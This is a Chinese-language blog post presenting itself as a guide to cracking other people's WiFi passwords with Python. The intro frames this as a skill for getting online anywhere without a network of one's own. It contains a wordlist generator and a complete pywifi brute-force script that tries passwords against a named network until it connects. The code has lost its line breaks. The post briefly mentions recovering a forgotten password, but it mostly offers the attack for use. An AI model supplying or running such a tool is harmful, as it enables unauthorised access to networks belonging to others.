利用Python破解WIFI密码详解笔记本电脑如何破解wifi密码
前言
WIFI破解,Python程序員必學(xué)技能。WIFI已經(jīng)完全普及,現(xiàn)在Python程序員沒網(wǎng),走到哪里都不怕!
想要WIFI破解,python+字典,這是是少不了的。熱點(diǎn)加弱口令也是核心。字典自己加精,你的字典有強(qiáng)大,你能破解的WIFI就越多。
私信小編001即可獲取大量Python學(xué)習(xí)資料!
原理
就是操縱網(wǎng)卡,一個(gè)一個(gè)的試密碼本上的密碼,直到密碼正確,這時(shí)電腦也會(huì)連上這個(gè)wifi。
Python腳本就是對密碼本中的密碼,一個(gè)一個(gè)的嘗試,如果密碼正確,那么就建一個(gè)名字為wifi名字的文件,并把正確的密碼記錄在里面。
字典自動(dòng)生成Python代碼:
密碼本的獲取:密碼本可以選擇自己建。使用的是itertools這個(gè)包。
import itertoolskey = '0123456789.qwertyuiopasdfghjklzxcvbnm'#密碼包含這些字符passwords = itertools.product(key,repeat = 3)f = open('password.txt','a')for i in passwords: f.write("".join(i)) f.write('\n')f.close()
pywifi模塊
這個(gè)模塊不能使用pip install 安裝,去pywifi 官方文檔下載壓縮包,找到\Lib\site-packages路徑,將包解壓之后復(fù)制到這里,雙擊setup.py就歐克了。
從腳本來看,嘗試一個(gè)密碼就需要2s,即便是把8位純數(shù)字的密碼嘗試一遍,那么需要的時(shí)間t為:
這還只是8位的純數(shù)字密碼。
所以,想要通過pywifi破解密碼根本就不可能。當(dāng)然,可以通過多線程之類的縮短時(shí)間。
但是,如果你不幸忘記了某個(gè)wifi的密碼,但是你知道它有可能是幾個(gè)或者幾十個(gè)密碼中的一個(gè),那么就可以通過腳本來把密碼找出來。
(其實(shí)吧,直接把wifi reset或許更快。。)
真的想破解wifi密碼,還是裝虛擬機(jī)靠譜。
Python完整源代碼:
import pywifiimport timefrom pywifi import constclass PoJie(): def __init__(self,name): self.name = name wifi = pywifi.PyWiFi() # 抓取網(wǎng)卡接口 self.iface = wifi.interfaces()[0]#獲取網(wǎng)卡 self.iface.disconnect() # 斷開所有連接 time.sleep(1) if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]: # 測試是否已經(jīng)斷開網(wǎng)卡連接 print("已經(jīng)成功斷開網(wǎng)卡連接") else: print("網(wǎng)卡連接斷開失敗") def solve(self): x = 1 f = open('password.txt','r') lines = f.readlines() for line in lines: print('正在嘗試第%d次'%(x)) x += 1 profile = pywifi.Profile()#創(chuàng)建wifi配置對象 profile.ssid = self.name#wifi名稱 profile.key = line#WiFi密碼 profile.auth = const.AUTH_ALG_OPEN#網(wǎng)卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法,一般是 WPA2PSK profile.cipher = const.CIPHER_TYPE_CCMP#加密單元 self.iface.remove_all_network_profiles()#刪除所有的wifi文件 tem_profile = self.iface.add_network_profile(profile)#添加新的WiFi文件 self.iface.connect(tem_profile)#連接 time.sleep(3)#連接需要時(shí)間 if self.iface.status() == const.IFACE_CONNECTED:#判斷是否連接成功 print("成功連接,密碼是%s"%(line)) break else: print("連接失敗,密碼是%s"%(line))if __name__ == "__main__": name = 'Honor V10' obj = PoJie(name = name) obj.solve()
總結(jié)
以上是生活随笔為你收集整理的利用Python破解WIFI密码详解笔记本电脑如何破解wifi密码的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 无线路由器桥接方法如何实现无线路由器桥接
- 下一篇: 如何把电脑上的文件发送到手机上如何将电脑